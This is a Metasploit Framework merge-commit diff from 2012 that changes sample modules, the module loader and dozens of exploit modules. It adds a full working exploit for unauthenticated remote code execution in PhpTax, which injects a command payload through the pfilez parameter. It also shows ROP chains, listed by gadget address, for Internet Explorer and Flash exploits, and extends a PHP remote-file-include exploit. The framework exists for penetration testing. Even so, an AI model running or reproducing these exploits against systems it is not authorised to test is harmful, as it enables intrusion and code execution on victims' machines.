Merge branch 'master' into feature/updated-mobile

This commit is contained in:
HD Moore 2012-10-09 12:58:19 -05:00
commit 22f7c42b85
37 changed files with 591 additions and 377 deletions

View File

@ -1,25 +1,19 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
module Msf
###
#
# This sample auxiliary module simply displays the selected action and
# registers a custom command that will show up when the module is used.
#
###
class Auxiliary::Sample < Msf::Auxiliary
class Metasploit4 < Msf::Auxiliary
def initialize
super(
@ -50,5 +44,3 @@ class Auxiliary::Sample < Msf::Auxiliary
end
end
end

View File

@ -1,24 +1,17 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
module Msf
module Encoders
###
#
# This sample illustrates a very basic encoder that simply returns the block
# that it's passed.
#
###
class Sample < Msf::Encoder
class Metasploit4 < Msf::Encoder
def initialize
super(
@ -40,6 +33,3 @@ class Sample < Msf::Encoder
end
end
end
end

View File

@ -1,25 +1,19 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
module Msf
###
#
# This exploit sample shows how an exploit module could be written to exploit
# a bug in an arbitrary TCP server.
#
###
class Exploits::Sample < Msf::Exploit::Remote
class Metasploit4 < Msf::Exploit::Remote
#
# This exploit affects TCP servers, so we use the TCP client mixin.
@ -88,4 +82,3 @@ class Exploits::Sample < Msf::Exploit::Remote
end
end

View File

@ -1,26 +1,19 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
module Msf
module Nops
###
#
# This class implements a very basic NOP sled generator that just returns a
# string of 0x90's.
#
###
class Sample < Msf::Nop
class Metasploit4 < Msf::Nop
def initialize
super(
@ -39,6 +32,3 @@ class Sample < Msf::Nop
end
end
end
end

View File

@ -1,26 +1,18 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
module Msf
module Payloads
module Singles
###
#
# This sample payload is designed to trigger a debugger exception via int3.
#
###
module Sample
module Metasploit4
include Msf::Payload::Single
@ -40,7 +32,3 @@ module Sample
end
end
end
end
end

View File

@ -113,7 +113,7 @@ class Msf::Modules::Loader::Base
metasploit_class = nil
module_path = self.module_path(parent_path, type, module_reference_name)
loaded = namespace_module_transaction(module_reference_name, :reload => reload) { |namespace_module|
loaded = namespace_module_transaction(type + "/" + module_reference_name, :reload => reload) { |namespace_module|
# set the parent_path so that the module can be reloaded with #load_module
namespace_module.parent_path = parent_path
@ -301,7 +301,7 @@ class Msf::Modules::Loader::Base
reloaded_module_instance.datastore.update(original_metasploit_instance.datastore)
end
else
elog("Failed to create instance of #{refname} after reload.", 'core')
elog("Failed to create instance of #{original_metasploit_class_or_instance.refname} after reload.", 'core')
# Return the old module instance to avoid an strace trace
return original_metasploit_class_or_instance
@ -370,13 +370,14 @@ class Msf::Modules::Loader::Base
# @return [Module] module that wraps the previously loaded content from {#read_module_content}.
# @return [nil] if any module name along the chain does not exist.
def current_module(module_names)
# don't look at ancestors for constant
inherit = false
# Don't want to trigger ActiveSupport's const_missing, so can't use constantize.
named_module = module_names.inject(Object) { |parent, module_name|
if parent.const_defined?(module_name, inherit)
parent.const_get(module_name, inherit)
# Since we're searching parent namespaces first anyway, this is
# semantically equivalent to providing false for the 1.9-only
# "inherit" parameter to const_defined?. If we ever drop 1.8
# support, we can save a few cycles here by adding it back.
if parent.const_defined?(module_name)
parent.const_get(module_name)
else
break
end
@ -429,7 +430,7 @@ class Msf::Modules::Loader::Base
extension = File.extname(path)
unless (path.starts_with?('.') or
unless (path[0,1] == "." or
extension != MODULE_EXTENSION or
path =~ UNIT_TEST_REGEX)
module_path = true
@ -454,8 +455,8 @@ class Msf::Modules::Loader::Base
#
# @see MODULE_SEPARATOR
# @see #namespace_module_names
def namespace_module_name(module_reference_name)
namespace_module_names = self.namespace_module_names(module_reference_name)
def namespace_module_name(uniq_module_reference_name)
namespace_module_names = self.namespace_module_names(uniq_module_reference_name)
namespace_module_name = namespace_module_names.join(MODULE_SEPARATOR)
namespace_module_name
@ -465,40 +466,19 @@ class Msf::Modules::Loader::Base
# doesn't overwrite other (metasploit) module's classes. Invalid module name characters are escaped by using 'H*'
# unpacking and prefixing each code with X so the code remains a valid module name when it starts with a digit.
#
# @param [String] module_reference_name The canonical name for the module.
# @param [String] uniq_module_reference_name The unique canonical name for the module including type.
# @return [Array<String>] {NAMESPACE_MODULE_NAMES} + <derived-constant-safe names>
#
# @see namespace_module
def namespace_module_names(module_reference_name)
relative_module_name = module_reference_name.camelize
module_names = relative_module_name.split(MODULE_SEPARATOR)
# The module_reference_name is path-like, so it can include characters that are invalid in module names
valid_module_names = module_names.collect { |module_name|
valid_module_name = module_name.gsub(/^[0-9]|[^A-Za-z0-9]/) { |invalid_constant_name_character|
unpacked = invalid_constant_name_character.unpack('H*')
# unpack always returns an array, so get first value to get character's encoding
hex_code = unpacked[0]
# as a convention start each hex-code with X so that it'll make a valid constant name since constants can't
# start with digits.
"X#{hex_code}"
}
valid_module_name
}
namespace_module_names = NAMESPACE_MODULE_NAMES + valid_module_names
namespace_module_names
def namespace_module_names(uniq_module_reference_name)
NAMESPACE_MODULE_NAMES + [ "Mod" + uniq_module_reference_name.unpack("H*").first.downcase ]
end
def namespace_module_transaction(module_reference_name, options={}, &block)
def namespace_module_transaction(uniq_module_reference_name, options={}, &block)
options.assert_valid_keys(:reload)
reload = options[:reload] || false
namespace_module_names = self.namespace_module_names(module_reference_name)
namespace_module_names = self.namespace_module_names(uniq_module_reference_name)
previous_namespace_module = current_module(namespace_module_names)
@ -617,4 +597,5 @@ class Msf::Modules::Loader::Base
usable
end
end
end

View File

@ -73,6 +73,17 @@ class Msf::Modules::Loader::Directory < Msf::Modules::Loader::Base
def read_module_content(parent_path, type, module_reference_name)
full_path = module_path(parent_path, type, module_reference_name)
::File.read(full_path)
module_content = ''
# force to read in binary mode so Pro modules won't be truncated on Windows
File.open(full_path, 'rb') do |f|
# Pass the size of the file as it leads to faster reads due to fewer buffer resizes. Greatest effect on Windows.
# @see http://www.ruby-forum.com/topic/209005
# @see https://github.com/ruby/ruby/blob/ruby_1_8_7/io.c#L1205
# @see https://github.com/ruby/ruby/blob/ruby_1_9_3/io.c#L2038
module_content = f.read(f.stat.size)
end
module_content
end
end

View File

@ -11,10 +11,15 @@ module Msf::Modules::Namespace
def metasploit_class
metasploit_class = nil
# don't search ancestors for the metasploit_class
inherit = false
#inherit = false
::Msf::Framework::Major.downto(1) do |major|
if const_defined?("Metasploit#{major}", inherit)
# Since we really only care about the deepest namespace, we don't
# need to look for parents' constants. However, the "inherit"
# parameter for const_defined? only exists after 1.9. If we ever
# drop 1.8 support, we can save a few cycles here by passing false
# here.
if const_defined?("Metasploit#{major}")
metasploit_class = const_get("Metasploit#{major}")
break
@ -52,4 +57,5 @@ module Msf::Modules::Namespace
end
end
end
end
end

View File

@ -91,7 +91,7 @@ require 'rex/platforms'
# Overload the Kernel.sleep() function to be thread-safe
Kernel.class_eval("
def sleep(seconds)
def sleep(seconds=nil)
Rex::ThreadSafe.sleep(seconds)
end
")

View File

@ -72,7 +72,7 @@ module ThreadSafe
# Simulates a sleep operation by selecting on nil until a timeout period
# expires.
#
def self.sleep(seconds)
def self.sleep(seconds=nil)
self.select(nil, nil, nil, seconds)
seconds

View File

@ -57,13 +57,13 @@ class Metasploit4 < Msf::Auxiliary
caissuer = (/CA Issuers - URI:(.*?),/i).match(cert.extensions.to_s)
if caissuer.to_s.empty?
print_good("Certificate contains no CA Issuers extension... possible self signed certificate")
print_good("#{ip}:#{rport} Certificate contains no CA Issuers extension... possible self signed certificate")
else
print_status("#{ip}:#{rport} " +caissuer.to_s[0..-2])
end
if cert.issuer.to_s == cert.subject.to_s
print_good("Certificate Subject and Issuer match... possible self signed certificate")
print_good("#{ip}:#{rport} Certificate Subject and Issuer match... possible self signed certificate")
end
alg = cert.signature_algorithm

View File

@ -40,7 +40,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic telnet perl ruby',
'RequiredCmd' => 'generic telnet perl ruby python',
}
},
'Platform' => ['unix', 'linux'],

View File

@ -39,7 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'perl ruby',
'RequiredCmd' => 'perl ruby python',
}
},
'Platform' => 'unix',

View File

@ -39,7 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'perl ruby',
'RequiredCmd' => 'perl ruby python',
}
},
'Platform' => [ 'unix', 'linux' ],

View File

@ -0,0 +1,88 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "PhpTax pfilez Parameter Exec Remote Code Injection",
'Description' => %q{
This module exploits a vulnerability found in PhpTax, an income tax report
generator. When generating a PDF, the icondrawpng() function in drawimage.php
does not properly handle the pfilez parameter, which will be used in a exec()
statement, and then results in arbitrary remote code execution under the context
of the web server. Please note: authentication is not required to exploit this
vulnerability.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Jean Pascal Pereira <pereira[at]secbiz.de>',
'sinn3r' #Metasploit
],
'References' =>
[
['EDB', '21665']
],
'Payload' =>
{
'Compat' =>
{
'ConnectionType' => 'find',
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby bash telnet python'
}
},
'Platform' => ['unix', 'linux'],
'Targets' =>
[
['PhpTax 0.8', {}]
],
'Arch' => ARCH_CMD,
'Privileged' => false,
'DisclosureDate' => "Oct 8 2012",
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The path to the web application', '/phptax/'])
], self.class)
end
def check
target_uri.path << '/' if target_uri.path[-1,1] != '/'
res = send_request_raw({'uri'=>target_uri.path})
if res and res.body =~ /PHPTAX by William L\. Berggren/
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Unknown
end
end
def exploit
target_uri.path << '/' if target_uri.path[-1,1] != '/'
print_status("#{rhost}#{rport} - Sending request...")
res = send_request_cgi({
'method' => 'GET',
'uri' => "#{target_uri.path}drawimage.php",
'vars_get' => {
'pdf' => 'make',
'pfilez' => "xxx; #{payload.encoded}"
}
})
handler
end
end

View File

@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic telnet perl ruby',
'RequiredCmd' => 'generic telnet perl ruby python',
}
},
'Platform' => ['unix', 'linux'],

View File

@ -39,7 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby bash telnet',
'RequiredCmd' => 'generic perl ruby bash telnet python',
}
},
'Platform' => ['unix', 'linux'],

View File

@ -44,7 +44,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby bash telnet',
'RequiredCmd' => 'generic perl ruby python bash telnet',
}
},
'Platform' => 'unix',

View File

@ -47,7 +47,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby bash telnet',
'RequiredCmd' => 'generic perl ruby python bash telnet',
}
},
'Platform' => 'unix',

View File

@ -43,7 +43,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby bash telnet',
'RequiredCmd' => 'generic perl ruby python bash telnet',
}
},
'Platform' => 'unix',

View File

@ -40,7 +40,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby bash telnet'
'RequiredCmd' => 'generic perl ruby python bash telnet'
}
},
'Targets' =>

View File

@ -41,7 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby bash telnet',
'RequiredCmd' => 'generic perl ruby python bash telnet',
}
},
'Platform' => 'unix',

View File

@ -49,7 +49,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby bash telnet',
'RequiredCmd' => 'generic perl ruby python bash telnet',
}
},
'Targets' => [ ['Automatic', { }], ],

View File

@ -47,7 +47,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby bash telnet',
'RequiredCmd' => 'generic perl ruby python bash telnet',
}
},
'Platform' => [ 'unix', 'win', 'linux' ],

View File

@ -40,7 +40,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby netcat-e',
'RequiredCmd' => 'generic perl ruby python netcat-e',
}
},
'Platform' => ['unix'],

View File

@ -45,7 +45,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby bash telnet',
'RequiredCmd' => 'generic perl ruby python bash telnet',
}
},
'Targets' => [ ['Automatic', { }], ],

View File

@ -43,7 +43,7 @@ class Metasploit3 < Msf::Exploit::Remote
'BadChars' => '<>',
'Compat' =>
{
'RequiredCmd' => 'generic perl ruby bash telnet',
'RequiredCmd' => 'generic perl ruby python bash telnet',
}
},
'Targets' =>

View File

@ -1,7 +1,3 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
@ -29,7 +25,6 @@ class Metasploit3 < Msf::Exploit::Remote
},
'Author' => [ 'hdm' , 'egypt', 'ethicalhack3r' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
#'References' => [ ],
'Privileged' => false,
'Payload' =>
@ -57,6 +52,7 @@ class Metasploit3 < Msf::Exploit::Remote
OptString.new('PATH', [ true , "The base directory to prepend to the URL to try", '/']),
OptString.new('PHPURI', [false, "The URI to request, with the include parameter changed to XXpathXX"]),
OptString.new('POSTDATA', [false, "The POST data to send, with the include parameter changed to XXpathXX"]),
OptString.new('HEADERS', [false, "Any additional HTTP headers to send, cookies for example. Format: \"header:value,header2:value2\""]),
OptPath.new('PHPRFIDB', [false, "A local file containing a list of URLs to try, with XXpathXX replacing the URL",
File.join(Msf::Config.install_root, "data", "exploits", "php", "rfi-locations.dat")
])
@ -69,9 +65,7 @@ class Metasploit3 < Msf::Exploit::Remote
uri.gsub!(/\?.*/, "")
print_status("Checking uri #{uri}")
response = send_request_raw({ 'uri' => uri})
if response.code == 200
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Detected if response.code == 200
print_error("Server responded with #{response.code}")
return Exploit::CheckCode::Safe
else
@ -79,8 +73,19 @@ class Metasploit3 < Msf::Exploit::Remote
end
end
def php_exploit
def datastore_headers
headers = datastore['HEADERS'] ? datastore['HEADERS'].dup : ""
headers_hash = Hash.new
if (headers and ! headers.empty?)
headers.split(',').each do |header|
key,value = header.split(':')
headers_hash[key] = value.strip
end
end
headers_hash
end
def php_exploit
uris = []
tpath = datastore['PATH']
@ -129,6 +134,7 @@ class Metasploit3 < Msf::Exploit::Remote
response = send_request_raw( {
'global' => true,
'uri' => tpath+uri,
'headers' => datastore_headers,
}, timeout)
elsif http_method == "POST"
response = send_request_raw(
@ -137,11 +143,10 @@ class Metasploit3 < Msf::Exploit::Remote
'uri' => tpath+uri,
'method' => http_method,
'data' => postdata,
'headers' =>
{
'headers' => datastore_headers.merge({
'Content-Type' => 'application/x-www-form-urlencoded',
'Content-Length' => postdata.length,
}
'Content-Length' => postdata.length
})
}, timeout)
end
handler

View File

@ -49,7 +49,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby bash telnet',
'RequiredCmd' => 'generic perl ruby python bash telnet',
}
},
'Platform' => 'unix',

View File

@ -54,7 +54,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby bash telnet',
'RequiredCmd' => 'generic perl ruby python bash telnet',
}
},
'Targets' =>

View File

@ -46,7 +46,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby bash telnet',
'RequiredCmd' => 'generic perl ruby python bash telnet',
}
},
'Platform' => 'unix',

View File

@ -43,7 +43,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl bash telnet',
'RequiredCmd' => 'generic perl ruby python bash telnet',
}
},
'Platform' => 'unix',

View File

@ -11,6 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
def initialize(info={})
super(update_info(info,
@ -46,7 +47,7 @@ class Metasploit3 < Msf::Exploit::Remote
],
'Payload' =>
{
'Space' => 1024
'Space' => 1024
},
'DefaultOptions' =>
{
@ -56,49 +57,17 @@ class Metasploit3 < Msf::Exploit::Remote
'Targets' =>
[
# Tested successfully on:
# Flash 11.2.202.233
# Flash 11.3.300.268
# Flash 11.3.300.265
# Flash 11.3.300.257
[ 'Automatic', {} ],
[
'IE 6 on Windows XP SP3',
{
'Rop' => nil
}
],
[
'IE 7 on Windows XP SP3',
{
'Rop' => nil
}
],
[
'IE 8 on Windows XP SP3',
{
'Rop' => true,
'ASLR' => false
}
],
[
'IE 7 on Windows Vista SP2',
{
'Rop' => nil
}
],
[
'IE 8 on Windows 7 SP1',
{
'Rop' => true,
'ASLR' => true
}
],
[
'IE 9 on Windows 7 SP1',
{
'Rop' => true,
'ASLR' => true
}
]
[ 'IE 6 on Windows XP SP3', {'Rop' => nil } ],
[ 'IE 7 on Windows XP SP3', {'Rop' => nil } ],
[ 'IE 8 on Windows XP SP3', {'Rop' => true, 'ASLR' => false } ],
[ 'IE 7 on Windows Vista SP2', {'Rop' => nil }],
[ 'IE 8 on Windows 7 SP1', {'Rop' => true, 'ASLR' => true } ],
[ 'IE 9 on Windows 7 SP1', {'Rop' => true, 'ASLR' => true } ]
],
'Privileged' => false,
'DisclosureDate' => "Aug 9 2012",
@ -110,10 +79,6 @@ class Metasploit3 < Msf::Exploit::Remote
], self.class)
end
def nop
return make_nops(4).unpack("L")[0].to_i
end
def get_payload(t, flash_version=nil)
if t['Rop'].nil?
p = [
@ -123,126 +88,50 @@ class Metasploit3 < Msf::Exploit::Remote
].pack("V*")
p << payload.encoded
else
if t['ASLR'] == false and datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,257/
print_status("Using Rop Chain For Flash: #{flash_version}")
stack_pivot = [
0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)
0x0c0c0c0c,
0x1001d891, # xchg eax, esp # ret (1e0d0008)
].pack("V*")
rop = [
0x10241001, # POP EAX # RETN (Flash32_11_3_300_257.ocx)
0x106e3384, # <- *&VirtualProtect()
0x1029de2f, # MOV EAX,DWORD PTR DS:[EAX] # RETN (Flash32_11_3_300_257.ocx)
0x106add37, # XCHG EAX,ESI # RETN (Flash32_11_3_300_257.ocx)
0x1064e000, # POP EBP # RETN (Flash32_11_3_300_257.ocx)
0x10175c57, # ptr to 'jmp esp' (from Flash32_11_3_300_257.ocx)
0x106a4010, # POP EBX # RETN (Flash32_11_3_300_257.ocx)
0x00000201, # <- change size to mark as executable if needed (-> ebx)
0x104de800, # POP ECX # RETN (Flash32_11_3_300_257.ocx)
0x10955000, # W pointer (lpOldProtect) (-> ecx)
0x10649003, # POP EDI # RETN (Flash32_11_3_300_257.ocx)
0x10649004, # ROP NOP (-> edi)
0x10649987, # POP EDX # RETN (Flash32_11_3_300_257.ocx)
0x00000040, # newProtect (0x40) (-> edx)
0x10241001, # POP EAX # RETN (Flash32_11_3_300_257.ocx)
nop, # NOPS (-> eax)
0x1060e809, # PUSHAD # RETN (Flash32_11_3_300_257.ocx)
].pack("V*")
elsif t['ASLR'] == false and datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,265/
print_status("Using Rop Chain For Flash: #{flash_version}")
stack_pivot = [
0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)
0x0c0c0c0c,
0x1001d6d3, # xchg eax, esp # ret (1e0d0008)
].pack("V*")
rop = [
0x10241002, # POP EAX # RETN (Flash32_11_3_300_265.ocx)
0x106e338c, # <- *&VirtualProtect()
0x1029ea04, # MOV EAX,DWORD PTR DS:[EAX] # RETN (Flash32_11_3_300_265.ocx)
0x103d60b8, # XCHG EAX,ESI # RETN (Flash32_11_3_300_265.ocx)
0x105cc000, # POP EBP # RETN (Flash32_11_3_300_265.ocx)
0x1001c5cd, # ptr to 'jmp esp' (from Flash32_11_3_300_265.ocx)
0x10398009, # POP EBX # RETN (Flash32_11_3_300_265.ocx)
0x00000201, # <- change size to mark as executable if needed (-> ebx)
0x10434188, # POP ECX # RETN (Flash32_11_3_300_265.ocx)
0x10955000, # W pointer (lpOldProtect) (-> ecx)
0x105c1811, # POP EDI # RETN (Flash32_11_3_300_265.ocx)
0x105c1812, # ROP NOP (-> edi)
0x10650602, # POP EDX # RETN (Flash32_11_3_300_265.ocx)
0x00000040, # newProtect (0x40) (-> edx)
0x10241002, # POP EAX # RETN (Flash32_11_3_300_265.ocx)
nop, # NOPS (-> eax)
0x1062800f, # PUSHAD # RETN (Flash32_11_3_300_265.ocx)
].pack("V*")
elsif t['ASLR'] == false and datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,268/
print_status("Using Rop Chain For Flash: #{flash_version}")
stack_pivot = [
0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)
0x0c0c0c0c,
0x1001d755, # xchg eax, esp # ret (1e0d0008)
].pack("V*")
rop = [
0x1023e9b9, # POP EAX # RETN (Flash32_11_3_300_268.ocx)
0x106e438c, # <- *&VirtualProtect()
0x10198e00, # MOV EAX,DWORD PTR DS:[EAX] # RETN (Flash32_11_3_300_268.ocx)
0x106ddf15, # XCHG EAX,ESI # RETN (Flash32_11_3_300_268.ocx)
0x1035f000, # POP EBP # RETN (Flash32_11_3_300_268.ocx)
0x10175c28, # ptr to 'jmp esp' (from Flash32_11_3_300_268.ocx)
0x105e0013, # POP EBX # RETN (Flash32_11_3_300_268.ocx)
0x00000201, # <- change size to mark as executable if needed (-> ebx)
0x10593801, # POP ECX # RETN (Flash32_11_3_300_268.ocx)
0x1083c000, # RW pointer (lpOldProtect) (-> ecx)
0x10308b0e, # POP EDI # RETN (Flash32_11_3_300_268.ocx)
0x10308b0f, # ROP NOP (-> edi)
0x10663a00, # POP EDX # RETN (Flash32_11_3_300_268.ocx)
0x00000040, # newProtect (0x40) (-> edx)
0x1023e9b9, # POP EAX # RETN (Flash32_11_3_300_268.ocx)
nop, # NOPS (-> eax)
0x1069120b, # PUSHAD # RETN (Flash32_11_3_300_268.ocx)
].pack("V*")
else
print_status("Default back to JRE ROP")
stack_pivot = [
0x7c34a028, # POP EDI # POP ESI # RETN (1e0d0000)
0x0c0c0c0c,
0x7c348b05, # xchg eax, esp # ret (1e0d0008)
].pack("V*")
rop = [
0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
0x00001000, # (dwSize)
0x7c347f98, # RETN (ROP NOP)
0x7c3415a2, # JMP [EAX]
0xffffffff,
0x7c376402, # skip 4 bytes
0x7c345255, # INC EBX # FPATAN # RETN
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
0x7c344f87, # POP EDX # RETN
0x00000040, # flNewProtect
0x7c34d201, # POP ECX # RETN
0x7c38b001, # &Writable location
0x7c347f97, # POP EAX # RETN
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN
0x7c345c30, # ptr to 'push esp # ret '
].pack("V*")
end
p = stack_pivot
p << rop
p << payload.encoded
return p
end
if t['ASLR'] == false and datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,257/
print_status("Using Rop Chain For Flash: #{flash_version}")
pivot = [
0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)
0x0c0c0c0c,
0x1001d891, # xchg eax, esp # ret (1e0d0008)
].pack("V*")
p = generate_rop_payload('flash', payload.encoded, {'target'=>'11.3.300.257', 'pivot'=>pivot})
elsif t['ASLR'] == false and datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,265/
print_status("Using Rop Chain For Flash: #{flash_version}")
pivot = [
0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)
0x0c0c0c0c,
0x1001d6d3, # xchg eax, esp # ret (1e0d0008)
].pack("V*")
p = generate_rop_payload('flash', payload.encoded, {'target'=>'11.3.300.265', 'pivot'=>pivot})
elsif t['ASLR'] == false and datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,268/
print_status("Using Rop Chain For Flash: #{flash_version}")
pivot = [
0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)
0x0c0c0c0c,
0x1001d755, # xchg eax, esp # ret (1e0d0008)
].pack("V*")
p = generate_rop_payload('flash', payload.encoded, {'target'=>'11.3.300.268', 'pivot'=>pivot})
else
print_status("Default back to JRE ROP")
pivot = [
0x7c34a028, # POP EDI # POP ESI # RETN (1e0d0000)
0x0c0c0c0c,
0x7c348b05, # xchg eax, esp # ret (1e0d0008)
].pack("V*")
p = generate_rop_payload('java', payload.encoded, {'pivot'=>pivot})
end
return p
end
@ -268,11 +157,9 @@ class Metasploit3 < Msf::Exploit::Remote
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
print_status("User-agent: #{agent}")
my_target = get_target(agent)
print_status("Target selected: #{my_target.name}")
print_status("Client requesting: #{request.uri}")
# Avoid the attack if the victim doesn't have the same setup we're targeting

View File

@ -11,6 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
def initialize(info={})
super(update_info(info,
@ -51,7 +52,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f',
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
@ -89,6 +90,8 @@ class Metasploit3 < Msf::Exploit::Remote
return
end
print_status("Target selected: #{my_target.name}")
js_code = build_javascript(my_target)
html = %Q|
@ -231,72 +234,25 @@ function Start() {
return spray
end
def nop
return make_nops(4).unpack("V").first
end
def junk(n=4)
return rand_text_alpha(n).unpack("V").first
end
# ROP chain + shellcode will be sprayed at 0x0c0c0c0c
def get_payload(t)
# chain generated by mona.py - See corelan.be
p = make_nops(46)
p << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+0x6").encode_string # instr length: 2 bytes
p << [t.ret].pack("V") # Stack Pivot
p << payload.encoded
case t['Rop']
when :msvcrt
rop =
[
0x77c4e392, # POP EAX # RETN
0x77c11120, # <- *&VirtualProtect()
0x77c2e493, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
junk,
0x77c2dd6c,
0x77c4ec00, # POP EBP # RETN
0x77c35459, # ptr to 'push esp # ret'
0x77c47705, # POP EBX # RETN
0x00000800, # <- change size to mark as executable if needed (-> ebx)
0x77c3ea01, # POP ECX # RETN
0x77c5d000, # W pointer (lpOldProtect) (-> ecx)
0x77c46100, # POP EDI # RETN
0x77c46101, # ROP NOP (-> edi)
0x77c4d680, # POP EDX # RETN
0x00000040, # newProtect (0x40) (-> edx)
0x77c4e392, # POP EAX # RETN
nop, # NOPS (-> eax)
0x77c12df9, # PUSHAD # RETN
].pack("V*")
when :jre
rop =
[
0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
0xfffffdff, # Value to negate, will become 0x00000201 (dwSize)
0x7c347f98, # RETN (ROP NOP)
0x7c3415a2, # JMP [EAX]
0xffffffff,
0x7c376402, # skip 4 bytes
0x7c351e05, # NEG EAX # RETN
0x7c345255, # INC EBX # FPATAN # RETN
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
0x7c344f87, # POP EDX # RETN
0xffffffc0, # Value to negate, will become 0x00000040
0x7c351eb1, # NEG EDX # RETN
0x7c34d201, # POP ECX # RETN
0x7c38b001, # &Writable location
0x7c347f97, # POP EAX # RETN
